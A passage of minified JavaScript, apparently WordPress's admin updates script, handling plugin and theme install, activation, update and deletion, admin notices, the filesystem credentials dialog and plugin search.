t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now"),a=r("Installed!","plugin"),s=v(r("%s installed!","plugin"),e.pluginName);t.removeClass("updating-message").addClass("updated-message installed button-disabled").attr("aria-label",s).text(a),g.a11y.speak(h("Installation completed successfully.")),f.trigger("wp-plugin-install-success",e),e.activateUrl&&setTimeout(function(){g.updates.checkPluginDependencies({slug:e.slug})},1e3),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"installed-plugin",slug:e.slug,removeClasses:"updating-message",addClasses:"updated-message installed button-disabled",text:a,ariaLabel:s})},g.updates.installPluginError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer"),s=a.find(".install-now"),n=h("Installation failed."),i=v(r("%s installation failed","plugin"),s.data("name"));g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-plugin")&&(t=v(h("Installation failed: %s"),e.errorMessage),a.addClass("plugin-card-update-failed").append('<div class="notice notice-error notice-alt is-dismissible" role="alert"><p>'+t+"</p></div>"),a.on("click",".notice.is-dismissible .notice-dismiss",function(){setTimeout(function(){a.removeClass("plugin-card-update-failed").find(".column-name a").trigger("focus")},200)}),s.removeClass("updating-message").addClass("button-disabled").attr("aria-label",i).text(n),g.a11y.speak(t,"assertive"),g.updates.setCardButtonStatus({status:"plugin-install-failed",slug:e.slug,removeClasses:"updating-message",addClasses:"button-disabled",text:n,ariaLabel:i}),f.trigger("wp-plugin-install-error",e))},g.updates.checkPluginDependencies=function(e){return e=_.extend({success:g.updates.checkPluginDependenciesSuccess,error:g.updates.checkPluginDependenciesError},e),g.a11y.speak(h("Checking plugin dependencies... please wait.")),f.trigger("wp-checking-plugin-dependencies",e),g.updates.ajax("check_plugin_dependencies",e)},g.updates.checkPluginDependenciesSuccess=function(e){var t,a,s=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now");s.removeClass("install-now installed button-disabled updated-message").addClass("activate-now button-primary").attr("href",e.activateUrl),g.a11y.speak(h("Plugin dependencies check completed successfully.")),f.trigger("wp-check-plugin-dependencies-success",e),("plugins-network"===pagenow||"plugin-install-network"===pagenow?(t=r("Network Activate","plugin"),a=v(r("Network Activate %s","plugin"),e.pluginName),s.attr("aria-label",a)):(t=r("Activate","plugin"),a=v(r("Activate %s","plugin"),e.pluginName),s.attr("aria-label",a).attr("data-name",e.pluginName).attr("data-slug",e.slug).attr("data-plugin",e.plugin))).text(t),"plugin-information-footer"===s.parent().attr("id")&&g.updates.setCardButtonStatus({status:"dependencies-check-success",slug:e.slug,removeClasses:"install-now installed button-disabled updated-message",addClasses:"activate-now button-primary",text:t,ariaLabel:a,pluginName:e.pluginName,plugin:e.plugin,href:e.activateUrl})},g.updates.checkPluginDependenciesError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now"),s=r("Activate","plugin"),n=v(r("Cannot activate %1$s. %2$s","plugin"),e.pluginName,e.errorMessage);g.updates.isValidResponse(e,"check-dependencies")&&(t=v(h("Activation failed: %s"),e.errorMessage),g.a11y.speak(t,"assertive"),f.trigger("wp-check-plugin-dependencies-error",e),a.removeClass("install-now installed updated-message").addClass("activate-now button-primary").attr("aria-label",n).text(s),"plugin-information-footer"===a.parent().attr("id"))&&g.updates.setCardButtonStatus({status:"dependencies-check-failed",slug:e.slug,removeClasses:"install-now installed updated-message",addClasses:"activate-now button-primary",text:s,ariaLabel:n})},g.updates.activatePlugin=function(e){var t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activate-now, .activating-message");return e=_.extend({success:g.updates.activatePluginSuccess,error:g.updates.activatePluginError},e),g.a11y.speak(h("Activating... please wait.")),f.trigger("wp-activating-plugin",e),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"activating-plugin",slug:e.slug,removeClasses:"installed updated-message button-primary",addClasses:"activating-message",text:h("Activating..."),ariaLabel:v(r("Activating %s","plugin"),e.name)}),g.updates.ajax("activate-plugin",e)},g.updates.activatePluginSuccess=function(e){var t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activating-message"),a=r("Activated!","plugin"),s=v("%s activated successfully.",e.pluginName);g.a11y.speak(h("Activation completed successfully.")),f.trigger("wp-plugin-activate-success",e),t.removeClass("activating-message").addClass("activated-message button-disabled").attr("aria-label",s).text(a),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"activated-plugin",slug:e.slug,removeClasses:"activating-message",addClasses:"activated-message button-disabled",text:a,ariaLabel:s}),setTimeout(function(){t.removeClass("activated-message").text(r("Active","plugin")),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"plugin-active",slug:e.slug,removeClasses:"activated-message",text:r("Active","plugin"),ariaLabel:v("%s is active.",e.pluginName)})},1e3)},g.updates.activatePluginError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activating-message"),s=h("Activation failed."),n=v(r("%s activation failed","plugin"),e.pluginName);g.updates.isValidResponse(e,"activate")&&(t=v(h("Activation failed: %s"),e.errorMessage),g.a11y.speak(t,"assertive"),f.trigger("wp-plugin-activate-error",e),a.removeClass("install-now installed activating-message").addClass("button-disabled").attr("aria-label",n).text(s),"plugin-information-footer"===a.parent().attr("id"))&&g.updates.setCardButtonStatus({status:"plugin-activation-failed",slug:e.slug,removeClasses:"install-now installed activating-message",addClasses:"button-disabled",text:s,ariaLabel:n})},g.updates.installImporterSuccess=function(e){g.updates.addAdminNotice({id:"install-success",className:"notice-success is-dismissible",message:v(h('Importer installed successfully. <a href="%s">Run importer</a>'),e.activateUrl+"&from=import")}),c('[data-slug="'+e.slug+'"]').removeClass("install-now updating-message").addClass("activate-now").attr({href:e.activateUrl+"&from=import","aria-label":v(h("Run %s"),e.pluginName)}).text(h("Run Importer")),g.a11y.speak(h("Installation completed successfully.")),f.trigger("wp-importer-install-success",e)},g.updates.installImporterError=function(e){var t=v(h("Installation failed: %s"),e.errorMessage),a=c('[data-slug="'+e.slug+'"]'),s=a.data("name");g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-plugin")&&(g.updates.addAdminNotice({id:e.errorCode,className:"notice-error is-dismissible",message:t}),a.removeClass("updating-message").attr("aria-label",v(r("Install %s now","plugin"),s)).text(r("Install Now","plugin")),g.a11y.speak(t,"assertive"),f.trigger("wp-importer-install-error",e))},g.updates.deletePlugin=function(e){var t=c('[data-plugin="'+e.plugin+'"]').find(".row-actions a.delete");return e=_.extend({success:g.updates.deletePluginSuccess,error:g.updates.deletePluginError},e),t.html()!==h("Deleting...")&&t.data("originaltext",t.html()).text(h("Deleting...")),g.a11y.speak(h("Deleting...")),f.trigger("wp-plugin-deleting",e),g.updates.ajax("delete-plugin",e)},g.updates.deletePluginSuccess=function(u){c('[data-plugin="'+u.plugin+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){var e=c("#bulk-action-form"),t=c(".subsubsub"),a=c(this),s=t.find('[aria-current="page"]'),n=c(".displaying-num"),i=e.find("thead th:not(.hidden), thead td").length,l=g.template("item-deleted-row"),d=m.plugins;a.hasClass("plugin-update-tr")||a.after(l({slug:u.slug,plugin:u.plugin,colspan:i,name:u.pluginName})),a.remove(),-1!==_.indexOf(d.upgrade,u.plugin)&&(d.upgrade=_.without(d.upgrade,u.plugin),g.updates.decrementCount("plugin")),-1!==_.indexOf(d.inactive,u.plugin)&&(d.inactive=_.without(d.inactive,u.plugin),d.inactive.length?t.find(".inactive .count").text("("+d.inactive.length+")"):t.find(".inactive").remove()),-1!==_.indexOf(d.active,u.plugin)&&(d.active=_.without(d.active,u.plugin),d.active.length?t.find(".active .count").text("("+d.active.length+")"):t.find(".active").remove()),-1!==_.indexOf(d.recently_activated,u.plugin)&&(d.recently_activated=_.without(d.recently_activated,u.plugin),d.recently_activated.length?t.find(".recently_activated .count").text("("+d.recently_activated.length+")"):t.find(".recently_activated").remove()),-1!==_.indexOf(d["auto-update-enabled"],u.plugin)&&(d["auto-update-enabled"]=_.without(d["auto-update-enabled"],u.plugin),d["auto-update-enabled"].length?t.find(".auto-update-enabled .count").text("("+d["auto-update-enabled"].length+")"):t.find(".auto-update-enabled").remove()),-1!==_.indexOf(d["auto-update-disabled"],u.plugin)&&(d["auto-update-disabled"]=_.without(d["auto-update-disabled"],u.plugin),d["auto-update-disabled"].length?t.find(".auto-update-disabled .count").text("("+d["auto-update-disabled"].length+")"):t.find(".auto-update-disabled").remove()),d.all=_.without(d.all,u.plugin),d.all.length?t.find(".all .count").text("("+d.all.length+")"):(e.find(".tablenav").css({visibility:"hidden"}),t.find(".all").remove(),e.find("tr.no-items").length||e.find("#the-list").append('<tr class="no-items"><td class="colspanchange" colspan="'+i+'">'+h("No plugins are currently available.")+"</td></tr>")),n.length&&s.length&&(l=d[s.parent("li").attr("class")].length,n.text(v(o("%s item","%s items",l,"plugin/plugins"),l)))}),g.a11y.speak(r("Deleted!","plugin")),f.trigger("wp-plugin-delete-success",u)},g.updates.deletePluginError=function(e){var t,a=g.template("item-update-row"),s=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:e.errorMessage}),n=e.plugin?(t=c('tr.inactive[data-plugin="'+e.plugin+'"]')).siblings('[data-plugin="'+e.plugin+'"]'):(t=c('tr.inactive[data-slug="'+e.slug+'"]')).siblings('[data-slug="'+e.slug+'"]');g.updates.isValidResponse(e,"delete")&&!g.updates.maybeHandleCredentialError(e,"delete-plugin")&&(n.length?(n.find(".notice-error").remove(),n.find(".plugin-update").append(s)):t.addClass("update").after(a({slug:e.slug,plugin:e.plugin||e.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,content:s})),f.trigger("wp-plugin-delete-error",e))},g.updates.updateTheme=function(e){var t;return e=_.extend({success:g.updates.updateThemeSuccess,error:g.updates.updateThemeError},e),(t=("themes-network"===pagenow?c('[data-slug="'+e.slug+'"]').find(".update-message").removeClass("notice-error").addClass("updating-message notice-warning"):(t="customize"===pagenow?((t=c('[data-slug="'+e.slug+'"].notice').removeClass("notice-large")).find("h3").remove(),t.add(c("#customize-control-installed_theme_"+e.slug).find(".update-message"))):((t=c("#update-theme").closest(".notice").removeClass("notice-large")).find("h3").remove(),t.add(c('[data-slug="'+e.slug+'"]').find(".update-message")))).addClass("updating-message")).find("p")).html()!==h("Updating...")&&t.data("originaltext",t.html()),g.a11y.speak(h("Updating... please wait.")),t.text(h("Updating...")),f.trigger("wp-theme-updating",e),g.updates.ajax("update-theme",e)},g.updates.updateThemeSuccess=function(e){var t,a,s=c("body.modal-open").length,n=c('[data-slug="'+e.slug+'"]'),i={className:"updated-message notice-success notice-alt",message:r("Updated!","theme")};"customize"===pagenow?((n=c(".updating-message").siblings(".theme-name")).length&&(a=n.html().replace(e.oldVersion,e.newVersion),n.html(a)),t=c(".theme-info .notice").add(g.customize.control("installed_theme_"+e.slug).container.find(".theme").find(".update-message"))):"themes-network"===pagenow?(t=n.find(".update-message"),a=n.find(".theme-version-author-uri").html().replace(e.oldVersion,e.newVersion),n.find(".theme-version-author-uri").html(a),n.find(".auto-update-time").empty()):(t=c(".theme-info .notice").add(n.find(".update-message")),s?(c(".load-customize:visible").trigger("focus"),c(".theme-info .theme-autoupdate").find(".auto-update-time").empty()):n.find(".load-customize").trigger("focus")),g.updates.addAdminNotice(_.extend({selector:t},i)),g.a11y.speak(h("Update completed successfully.")),g.updates.decrementCount("theme"),f.trigger("wp-theme-update-success",e),s&&"customize"!==pagenow&&c(".theme-info .theme-author").after(g.updates.adminNotice(i))},g.updates.updateThemeError=function(e){var t,a=c('[data-slug="'+e.slug+'"]'),s=v(h("Update failed: %s"),e.errorMessage);g.updates.isValidResponse(e,"update")&&!g.updates.maybeHandleCredentialError(e,"update-theme")&&("customize"===pagenow&&(a=g.customize.control("installed_theme_"+e.slug).container.find(".theme")),"themes-network"===pagenow?t=a.find(".update-message "):(t=c(".theme-info .notice").add(a.find(".notice")),(c("body.modal-open").length?c(".load-customize:visible"):a.find(".load-customize")).trigger("focus")),g.updates.addAdminNotice({selector:t,className:"update-message notice-error notice-alt is-dismissible",message:s}),g.a11y.speak(s),f.trigger("wp-theme-update-error",e))},g.updates.installTheme=function(e){var t=c('.theme-install[data-slug="'+e.slug+'"]');return e=_.extend({success:g.updates.installThemeSuccess,error:g.updates.installThemeError},e),t.addClass("updating-message"),t.parents(".theme").addClass("focus"),t.html()!==h("Installing...")&&t.data("originaltext",t.html()),t.attr("aria-label",v(r("Installing %s...","theme"),t.data("name"))).text(h("Installing...")),g.a11y.speak(h("Installing... please wait.")),c('.install-theme-info, [data-slug="'+e.slug+'"]').removeClass("theme-install-failed").find(".notice.notice-error").remove(),f.trigger("wp-theme-installing",e),g.updates.ajax("install-theme",e)},g.updates.installThemeSuccess=function(e){var t,a=c(".wp-full-overlay-header, [data-slug="+e.slug+"]");f.trigger("wp-theme-install-success",e),t=a.find(".button-primary").removeClass("updating-message").addClass("updated-message disabled").attr("aria-label",v(r("%s installed!","theme"),e.themeName)).text(r("Installed!","theme")),g.a11y.speak(h("Installation completed successfully.")),setTimeout(function(){e.activateUrl&&(t.attr("href",e.activateUrl).removeClass("theme-install updated-message disabled").addClass("activate"),"themes-network"===pagenow?t.attr("aria-label",v(r("Network Activate %s","theme"),e.themeName)).text(h("Network Enable")):t.attr("aria-label",v(r("Activate %s","theme"),e.themeName)).text(r("Activate","theme"))),e.customizeUrl&&t.siblings(".preview").replaceWith(function(){return c("<a>").attr("href",e.customizeUrl).addClass("button load-customize").text(h("Live Preview"))})},1e3)},g.updates.installThemeError=function(e){var t,a=v(h("Installation failed: %s"),e.errorMessage),s=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:a});g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-theme")&&("customize"===pagenow?(f.find("body").hasClass("modal-open")?(t=c('.theme-install[data-slug="'+e.slug+'"]'),c(".theme-overlay .theme-info").prepend(s)):(t=c('.theme-install[data-slug="'+e.slug+'"]')).closest(".theme").addClass("theme-install-failed").append(s),g.customize.notifications.remove("theme_installing")):f.find("body").hasClass("full-overlay-active")?(t=c('.theme-install[data-slug="'+e.slug+'"]'),c(".install-theme-info").prepend(s)):t=c('[data-slug="'+e.slug+'"]').removeClass("focus").addClass("theme-install-failed").append(s).find(".theme-install"),t.removeClass("updating-message").attr("aria-label",v(r("%s installation failed","theme"),t.data("name"))).text(h("Installation failed.")),g.a11y.speak(a,"assertive"),f.trigger("wp-theme-install-error",e))},g.updates.deleteTheme=function(e){var t;return"themes"===pagenow?t=c(".theme-actions .delete-theme"):"themes-network"===pagenow&&(t=c('[data-slug="'+e.slug+'"]').find(".row-actions a.delete")),e=_.extend({success:g.updates.deleteThemeSuccess,error:g.updates.deleteThemeError},e),t&&t.html()!==h("Deleting...")&&t.data("originaltext",t.html()).text(h("Deleting...")),g.a11y.speak(h("Deleting...")),c(".theme-info .update-message").remove(),f.trigger("wp-theme-deleting",e),g.updates.ajax("delete-theme",e)},g.updates.deleteThemeSuccess=function(n){var e=c('[data-slug="'+n.slug+'"]');"themes-network"===pagenow&&e.css({backgroundColor:"#faafaa"}).fadeOut(350,function(){var e=c(".subsubsub"),t=c(this),a=m.themes,s=g.template("item-deleted-row");t.hasClass("plugin-update-tr")||t.after(s({slug:n.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,name:t.find(".theme-title strong").text()})),t.remove(),-1!==_.indexOf(a.upgrade,n.slug)&&(a.upgrade=_.without(a.upgrade,n.slug),g.updates.decrementCount("theme")),-1!==_.indexOf(a.disabled,n.slug)&&(a.disabled=_.without(a.disabled,n.slug),a.disabled.length?e.find(".disabled .count").text("("+a.disabled.length+")"):e.find(".disabled").remove()),-1!==_.indexOf(a["auto-update-enabled"],n.slug)&&(a["auto-update-enabled"]=_.without(a["auto-update-enabled"],n.slug),a["auto-update-enabled"].length?e.find(".auto-update-enabled .count").text("("+a["auto-update-enabled"].length+")"):e.find(".auto-update-enabled").remove()),-1!==_.indexOf(a["auto-update-disabled"],n.slug)&&(a["auto-update-disabled"]=_.without(a["auto-update-disabled"],n.slug),a["auto-update-disabled"].length?e.find(".auto-update-disabled .count").text("("+a["auto-update-disabled"].length+")"):e.find(".auto-update-disabled").remove()),a.all=_.without(a.all,n.slug),e.find(".all .count").text("("+a.all.length+")")}),"themes"===pagenow&&_.find(_wpThemeSettings.themes,{id:n.slug}).hasUpdate&&g.updates.decrementCount("theme"),g.a11y.speak(r("Deleted!","theme")),f.trigger("wp-theme-delete-success",n)},g.updates.deleteThemeError=function(e){var t=c('tr.inactive[data-slug="'+e.slug+'"]'),a=c(".theme-actions .delete-theme"),s=g.template("item-update-row"),n=t.siblings("#"+e.slug+"-update"),i=v(h("Deletion failed: %s"),e.errorMessage),l=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:i});g.updates.maybeHandleCredentialError(e,"delete-theme")||("themes-network"===pagenow?n.length?(n.find(".notice-error").remove(),n.find(".plugin-update").append(l)):t.addClass("update").after(s({slug:e.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,content:l})):c(".theme-info .theme-description").before(l),a.html(a.data("originaltext")),g.a11y.speak(i,"assertive"),f.trigger("wp-theme-delete-error",e))},g.updates._addCallbacks=function(e,t){return"import"===pagenow&&"install-plugin"===t&&(e.success=g.updates.installImporterSuccess,e.error=g.updates.installImporterError),e},g.updates.queueChecker=function(){var e;if(!g.updates.ajaxLocked&&g.updates.queue.length)switch((e=g.updates.queue.shift()).action){case"install-plugin":g.updates.installPlugin(e.data);break;case"update-plugin":g.updates.updatePlugin(e.data);break;case"delete-plugin":g.updates.deletePlugin(e.data);break;case"install-theme":g.updates.installTheme(e.data);break;case"update-theme":g.updates.updateTheme(e.data);break;case"delete-theme":g.updates.deleteTheme(e.data)}},g.updates.requestFilesystemCredentials=function(e){!1===g.updates.filesystemCredentials.available&&(e&&!g.updates.$elToReturnFocusToFromCredentialsModal&&(g.updates.$elToReturnFocusToFromCredentialsModal=c(e.target)),g.updates.ajaxLocked=!0,g.updates.requestForCredentialsModalOpen())},g.updates.maybeRequestFilesystemCredentials=function(e){g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&g.updates.requestFilesystemCredentials(e)},g.updates.keydown=function(e){27===e.keyCode?g.updates.requestForCredentialsModalCancel():9===e.keyCode&&("upgrade"!==e.target.id||e.shiftKey?"hostname"===e.target.id&&e.shiftKey&&(c("#upgrade").trigger("focus"),e.preventDefault()):(c("#hostname").trigger("focus"),e.preventDefault()))},g.updates.requestForCredentialsModalOpen=function(){var e=c("#request-filesystem-credentials-dialog");c("body").addClass("modal-open"),e.show(),e.find("input:enabled:first").trigger("focus"),e.on("keydown",g.updates.keydown)},g.updates.requestForCredentialsModalClose=function(){c("#request-filesystem-credentials-dialog").hide(),c("body").removeClass("modal-open"),g.updates.$elToReturnFocusToFromCredentialsModal&&g.updates.$elToReturnFocusToFromCredentialsModal.trigger("focus")},g.updates.requestForCredentialsModalCancel=function(){(g.updates.ajaxLocked||g.updates.queue.length)&&(_.each(g.updates.queue,function(e){f.trigger("credential-modal-cancel",e)}),g.updates.ajaxLocked=!1,g.updates.queue=[],g.updates.requestForCredentialsModalClose())},g.updates.showErrorInCredentialsForm=function(e){var t=c("#request-filesystem-credentials-form");t.find(".notice").remove(),t.find("#request-filesystem-credentials-title").after('<div class="notice notice-alt notice-error" role="alert"><p>'+e+"</p></div>")},g.updates.credentialError=function(e,t){e=g.updates._addCallbacks(e,t),g.updates.queue.unshift({action:t,data:e}),g.updates.filesystemCredentials.available=!1,g.updates.showErrorInCredentialsForm(e.errorMessage),g.updates.requestFilesystemCredentials()},g.updates.maybeHandleCredentialError=function(e,t){return!(!g.updates.shouldRequestFilesystemCredentials||!e.errorCode||"unable_to_connect_to_filesystem"!==e.errorCode||(g.updates.credentialError(e,t),0))},g.updates.isValidResponse=function(e,t){var a,s=h("An error occurred during the update process. Please try again.");if(_.isObject(e)&&!_.isFunction(e.always))return!0;switch(_.isString(e)&&"-1"===e?s=h("An error has occurred. Please reload the page and try again."):_.isString(e)?s=e:void 0!==e.readyState&&0===e.readyState?s=h("Connection lost or the server is busy. Please try again later."):_.isString(e.responseText)&&""!==e.responseText?s=e.responseText:_.isString(e.statusText)&&(s=e.statusText),t){case"update":a=h("Update failed: %s");break;case"install":a=h("Installation failed: %s");break;case"check-dependencies":a=h("Dependencies check failed: %s");break;case"activate":a=h("Activation failed: %s");break;case"delete":a=h("Deletion failed: %s")}return s=s.replace(/<[\/a-z][^<>]*>/gi,""),a=a.replace("%s",s),g.updates.addAdminNotice({id:"unknown_error",className:"notice-error is-dismissible",message:_.escape(a)}),g.updates.ajaxLocked=!1,g.updates.queue=[],c(".button.updating-message").removeClass("updating-message").removeAttr("aria-label").prop("disabled",!0).text(h("Update failed.")),c(".updating-message:not(.button):not(.thickbox)").removeClass("updating-message notice-warning").addClass("notice-error").find("p").removeAttr("aria-label").text(a),g.a11y.speak(a,"assertive"),!1},g.updates.beforeunload=function(){if(g.updates.ajaxLocked)return h("Updates may not complete if you navigate away from this page.")},c(function(){var l=c("#plugin-filter, #plugin-information-footer"),o=c("#bulk-action-form"),e=c("#request-filesystem-credentials-form"),t=c("#request-filesystem-credentials-dialog"),a=c(".plugins-php .wp-filter-search"),d=c(".plugin-install-php .wp-filter-search"),s=((m=_.extend(m,window._wpUpdatesItemCounts||{})).totals&&g.updates.refreshCount(),g.updates.shouldRequestFilesystemCredentials=0<t.length,t.on("submit","form",function(e){e.preventDefault(),g.updates.filesystemCredentials.ftp.hostname=c("#hostname").val(),g.updates.filesystemCredentials.ftp.username=c("#username").val(),g.updates.filesystemCredentials.ftp.password=c("#password").val(),g.updates.filesystemCredentials.ftp.connectionType=c('input[name="connection_type"]:checked').val(),g.updates.filesystemCredentials.ssh.publicKey=c("#public_key").val(),g.updates.filesystemCredentials.ssh.privateKey=c("#private_key").val(),g.updates.filesystemCredentials.fsNonce=c("#_fs_nonce").val(),g.updates.filesystemCredentials.available=!0,g.updates.ajaxLocked=!1,g.updates.queueChecker(),g.updates.requestForCredentialsModalClose()}),t.on("click",'[data-js-action="close"], .notification-dialog-background',g.updates.requestForCredentialsModalCancel),e.on("change",'input[name="connection_type"]',function(){c("#ssh-keys").toggleClass("hidden","ssh"!==c(this).val())}).trigger("change"),f.on("credential-modal-cancel",function(e,t){var a,s=c(".updating-message");"import"===pagenow?s.removeClass("updating-message"):"plugins"===pagenow||"plugins-network"===pagenow?"update-plugin"===t.action?a=c('tr[data-plugin="'+t.data.plugin+'"]').find(".update-message"):"delete-plugin"===t.action&&(a=c('[data-plugin="'+t.data.plugin+'"]').find(".row-actions a.delete")):"themes"===pagenow||"themes-network"===pagenow?"update-theme"===t.action?a=c('[data-slug="'+t.data.slug+'"]').find(".update-message"):"delete-theme"===t.action&&"themes-network"===pagenow?a=c('[data-slug="'+t.data.slug+'"]').find(".row-actions a.delete"):"delete-theme"===t.action&&"themes"===pagenow&&(a=c(".theme-actions .delete-theme")):a=s,a&&a.hasClass("updating-message")&&(void 0===(s=a.data("originaltext"))&&(s=c("<p>").html(a.find("p").data("originaltext"))),a.removeClass("updating-message").html(s),"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||("update-plugin"===t.action?a.attr("aria-label",v(r("Update %s now","plugin"),a.data("name"))):"install-plugin"===t.action&&a.attr("aria-label",v(r("Install %s now","plugin"),a.data("name"))))),g.a11y.speak(h("Update canceled."))}),o.on("click","[data-plugin] .update-link",function(e){var t=c(e.target),a=t.parents("tr");e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.$elToReturnFocusToFromCredentialsModal=a.find(".check-column input"),g.updates.updatePlugin({plugin:a.data("plugin"),slug:a.data("slug")}))}),l.on("click",".update-now",function(e){var t=c(e.target);e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.updatePlugin({plugin:t.data("plugin"),slug:t.data("slug")}))}),l.on("click",".install-now",function(e){var t=c(e.target);e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&(g.updates.requestFilesystemCredentials(e),f.on("credential-modal-cancel",function(){c(".install-now.updating-message").removeClass("updating-message").text(r("Install Now","plugin")),g.a11y.speak(h("Update canceled."))})),g.updates.installPlugin({slug:t.data("slug")}))}),f.on("click","#plugin-information-footer .activate-now",function(e){e.preventDefault(),window.parent.location.href=c(e.target).attr("href")}),f.on("click",".importer-item .install-now",function(e){var t=c(e.target),a=c(this).data("name");e.preventDefault(),t.hasClass("updating-message")||(g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&(g.updates.requestFilesystemCredentials(e),f.on("credential-modal-cancel",function(){t.removeClass("updating-message").attr("aria-label",v(r("Install %s now","plugin"),a)).text(r("Install Now","plugin")),g.a11y.speak(h("Update canceled."))})),g.updates.installPlugin({slug:t.data("slug"),pagenow:pagenow,success:g.updates.installImporterSuccess,error:g.updates.installImporterError}))}),o.on("click","[data-plugin] a.delete",function(e){var t=c(e.target).parents("tr"),a=t.hasClass("is-uninstallable")?v(h("Are you sure you want to delete %s and its data?"),t.find(".plugin-title strong").text()):v(h("Are you sure you want to delete %s?"),t.find(".plugin-title strong").text());e.preventDefault(),window.confirm(a)&&(g.updates.maybeRequestFilesystemCredentials(e),g.updates.deletePlugin({plugin:t.data("plugin"),slug:t.data("slug")}))}),f.on("click",".themes-php.network-admin .update-link",function(e){var t=c(e.target),a=t.parents("tr");e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.$elToReturnFocusToFromCredentialsModal=a.find(".check-column input"),g.updates.updateTheme({slug:a.data("slug")}))}),f.on("click",".themes-php.network-admin a.delete",function(e){var t=c(e.target).parents("tr"),a=v(h("Are you sure you want to delete %s?"),t.find(".theme-title strong").text());e.preventDefault(),window.confirm(a)&&(g.updates.maybeRequestFilesystemCredentials(e),g.updates.deleteTheme({slug:t.data("slug")}))}),o.on("click",'[type="submit"]:not([name="clear-recent-list"])',function(e){var t,s,n=c(e.target).siblings("select").val(),a=o.find('input[name="checked[]"]:checked'),i=0,l=0,d=[];switch(pagenow){case"plugins":case"plugins-network":t="plugin";break;case"themes-network":t="theme";break;default:return}switch(n=a.length?n:!1){case"update-selected":s=n.replace("selected",t);break;case"delete-selected":var u=h("plugin"===t?"Are you sure you want to delete the selected plugins and their data?":"Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?");if(!window.confirm(u))return void e.preventDefault();s=n.replace("selected",t);break;default:return}g.updates.maybeRequestFilesystemCredentials(e),e.preventDefault(),o.find('.manage-column [type="checkbox"]').prop("checked",!1),f.trigger("wp-"+t+"-bulk-"+n,a),a.each(function(e,t){var t=c(t),a=t.parents("tr");"update-selected"!==n||a.hasClass("update")&&!a.find("notice-error").length?"update-selected"===n&&a.hasClass("is-enqueued")||(a.addClass("is-enqueued"),g.updates.queue.push({action:s,data:{plugin:a.data("plugin"),slug:a.data("slug")}})):t.prop("checked",!1)}),f.on("wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error",function(e,t){var a,s=c('[data-slug="'+t.slug+'"]'),e=("wp-"+t.update+"-update-success"===e.type?i++:(e=t.pluginName||s.find(".column-primary strong").text(),l++,d.push(e+": "+t.errorMessage)),s.find('input[name="checked[]"]:checked').prop("checked",!1),g.updates.adminNotice=g.template("wp-bulk-updates-admin-notice"),null),s=(i&&(e="plugin"===t.update?v(p("%s plugin successfully updated.","%s plugins successfully updated.",i),i):v(p("%s theme successfully updated.","%s themes successfully updated.",i),i)),null);l&&(s=v(p("%s update failed.","%s updates failed.",l),l)),g.updates.addAdminNotice({id:"bulk-action-notice",className:"bulk-action-notice",successMessage:e,errorMessage:s,errorMessages:d,type:t.update}),a=c("#bulk-action-notice").on("click","button",function(){c(this).toggleClass("bulk-action-errors-collapsed").attr("aria-expanded",!c(this).hasClass("bulk-action-errors-collapsed")),a.find(".bulk-action-errors").toggleClass("hidden")}),0<l&&!g.updates.queue.length&&c("html, body").animate({scrollTop:0})}),f.on("wp-updates-notice-added",function(){g.updates.adminNotice=g.template("wp-updates-admin-notice")}),g.updates.queueChecker()}),d.length&&d.attr("aria-describedby","live-search-desc"),0);g.updates.shouldSearch=function(e){var t=e>=g.updates.searchMinCharacters||s>g.updates.searchMinCharacters;return s=e,t},d.on("keyup input",_.debounce(function(e,t){var a=c(".plugin-install-search"),s=d.val().length,n={_ajax_nonce:g.updates.ajaxNonce,s:encodeURIComponent(e.target.value),tab:"search",type:c("#typeselector").val(),pagenow:pagenow},i=location.href.split("?")[0]+"?"+c.param(_.omit(n,["_ajax_nonce","pagenow"]));g.updates.shouldSearch(s)?(d.attr("autocomplete","off"),"keyup"===e.type&&27===e.which&&(e.target.value=""),g.updates.searchTerm===n.s&&"typechange"!==t||(l.empty(),g.updates.searchTerm=n.s,window.history&&window.history.replaceState&&window.history.replaceState(null,"",i),a.length||(a=c('<li class="plugin-install-search" />').append(c("<a />",{class:"current",href:i,text:h("Search Results")})),c(".wp-filter .filter-links .current").removeClass("current").parents(".filter-links").prepend(a),l.prev("p").remove(),c(".plugins-popular-tags-wrapper").remove()),void 0!==g.updates.searchRequest&&g.updates.searchRequest.abort(),c("body").addClass("loading-content"),g.updates.searchRequest=g.ajax.post("search-install-plugins",n).done(function(e){c("body").removeClass("loading-content"),l.append(e.items),delete 